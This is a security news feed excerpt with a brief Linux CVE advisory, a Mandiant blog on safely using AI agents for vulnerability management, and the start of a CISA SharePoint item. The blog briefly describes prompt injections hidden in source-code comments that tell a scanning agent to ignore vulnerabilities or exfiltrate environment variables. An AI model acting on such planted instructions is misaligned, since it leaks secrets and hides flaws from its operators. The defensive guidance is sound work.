<link>https://tsecurity.de/de/3673850/sicherheitsluecken/cve-2022-3533-linux-kernel-on-arm64-bpf-toolslibbpfusdtc-parseusdtarg-regname-memory-leak-euvd-2022-42899/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673850/sicherheitsluecken/cve-2022-3533-linux-kernel-on-arm64-bpf-toolslibbpfusdtc-parseusdtarg-regname-memory-leak-euvd-2022-42899/</guid>
<pubDate>Thu, 16 Jul 2026 16:52:59 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel</a> on ARM64. The affected element is the function <code>parse_usdt_arg</code> of the file <em>tools/lib/bpf/usdt.c</em> of the component <em>BPF</em>. Executing a manipulation of the argument <em>reg_name</em> can lead to memory leak.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2022-3533">CVE-2022-3533</a>. The attack requires access to the local network. No exploit is available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
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<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
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</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
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        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
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</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
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<title><![CDATA[CISA urges immediate SharePoint hardening as exploits mount]]></title>
<description><![CDATA[The US Cybersecurity and Infrastructure Security Agency (CISA) has urged organizations to immediately secure Microsoft SharePoint deployments after warning that three vulnerabilities affecting the on-premises collaboration platform are being actively exploited.



A recent advisory from the feder...]]></description>
<link>https://tsecurity.de/de/3673455/it-nachrichten/cisa-urges-immediate-sharepoint-hardening-as-exploits-mount/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673455/it-nachrichten/cisa-urges-immediate-sharepoint-hardening-as-exploits-mount/</guid>
<pubDate>Thu, 16 Jul 2026 14:33:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The US Cybersecurity and Infrastructure Security Agency (CISA) has urged organizations to immediately secure Microsoft SharePoint deployments after warning that three vulnerabilities affecting the on-premises collaboration platform are being actively exploited.</p>



<p class="wp-block-paragraph">A recent <a href="https://www.cisa.gov/news-events/alerts/2026/07/14/cisa-urges-sharepoint-hardening-after-new-exploitations" target="_blank" rel="noreferrer noopener">advisory</a> from the federal cybersecurity watchdog asked administrators to patch vulnerable servers, review Microsoft’s mitigation guidance, and assume that internet-facing SharePoint instances remain attractive targets for attackers seeking an initial foothold into enterprise environments.</p>



